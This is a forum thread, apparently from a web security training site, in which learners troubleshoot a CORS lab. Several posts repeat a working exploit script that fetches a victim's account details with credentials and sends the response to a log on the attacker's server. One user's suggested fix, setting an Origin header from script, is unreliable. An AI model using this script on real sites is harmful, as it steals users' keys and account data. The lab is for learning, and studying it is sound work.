i have same exact problem, all settings is correctly to the official solution, i'm unable to complete this lab

Christopher | Last updated: Jan 08, 2023 10:27AM UTC

After send the exploit to victim a couple of times the exploit works. So i guess there' just a delay/lag

I have the same problem. It does not work for me even after multiple retries. Is there any solution to this? Thanks in advance

Hi Vanessa, Are you able to share the script that you have configured in the Exploit Server?

nekov | Last updated: Mar 17, 2023 05:33AM UTC

Even I'm facing the same issue after several attempts.

Ben, PortSwigger Agent | Last updated: Mar 17, 2023 10:47AM UTC

Hi Nekov, Are you able to provide us with details of what you have configured in your Exploit Server? For the 'req.open' part of the script, are you including the protocol in the URL, so something like: req.open('get','https://0a3a007b036d6777c0001dbd000e00e7.web-security-academy.net/accountDetails',true);

Hi Diptangsu, Are you able to provide us with some details of the steps that you are using to try and solve this particular lab so we can see exactly what you are doing?

I am facing the exact same issue and am unable to solve the lab I Use this script: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','YOUR-LAB-ID.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> and in access log, "/log?key=%22Resource%20not%20found%20-%20Academy%20Exploit%20Server%22" show.

Hi Iman, I have just run through this lab and been able to solve it using the solution provided so it does appear to be functioning as expected. I assume that this is the case but have you entered your actual lab URL within the exploit i.e. req.open('get','https://0a6800ce04c284f58c4b8e14000f0063.web-security-academy.net/accountDetails',true); In addition to the above, have you logged into your account before configuring and delivering your exploit?

Joseph | Last updated: Mar 28, 2024 02:19AM UTC

i was able to spot the issue, basically it fails due to CORS policy not authorizing a different domain lol, so what i did is to add the same domain in the HTTP request as origin, <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get', 'https://0a9a00ed031ace4d80fd0d7200c200d3.web-security-academy.net/accountDetails', true); req.withCredentials = true; // Adding Origin header req.setRequestHeader('Origin', window.location.origin); req.send(); function reqListener() { location = '/log?key=' + this.responseText; }; </script> this way you can send thee exploit and trick the server, get your api key :)

Solved - Issue : Resource not found in URL Solution : add https:// before Lab ID as : req.open('get',https://'YOUR-LAB-ID.web-security-academy.net/accountDetails',true);

I think this issue is happening with few lab IDs, I was facing the same issue (Resource not found). Facing the issues in apprentice labs, So I skipped the 1st two labs (was facing resource not found issue) and solved the PRACTITIONER lab. and after that when I again checked the APPRENTICE lab I was able to solve the lap (Following the same process). My suggestion will be 1st solve the PRACTITIONER lab then the APPRENTICE lab.

Ben, PortSwigger Agent | Last updated: Jun 25, 2024 10:34AM UTC

Hi, The labs are totally independent of one another so the order in which you do them should be irrelevant. The likely cause is what Ved mentioned in the post above - that the protocol has not been supplied in the exploit.

Rishi | Last updated: Jul 03, 2024 12:18PM UTC

I've done what VED has mentioned but still I'm facing this problem not with just this one but with Clickjacking labs also, resouce not found error. script of this lab exploit - <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a93007a04841b07826afc7b00e400e8.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> I've modified it with using https:// like ved said as you can see above but it doesn't help me out.

Ben, PortSwigger Agent | Last updated: Jul 03, 2024 12:48PM UTC

Hi Rishi, Which browser are you using when you attempt this particular lab?

Sabari | Last updated: Jul 23, 2024 12:50PM UTC

The same issue I'm facing too In log: /log?key=%22Resource%20not%20found%20-%20Academy%20Exploit%20Server%22 my exploit: <script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','0a9e00e304b9e49285f85ece00c20069.web-security-academy.net/accountDetails',true); req.withCredentials = true; req.setRequestHeader('Origin', window.location.origin); req.send(); function reqListener() { location='/log?key='+this.responseText; }; </script> even if i add https:// before the lab id, the exploit is not working and the redirection to /log doesn't happen(gets stuck in /exploit).
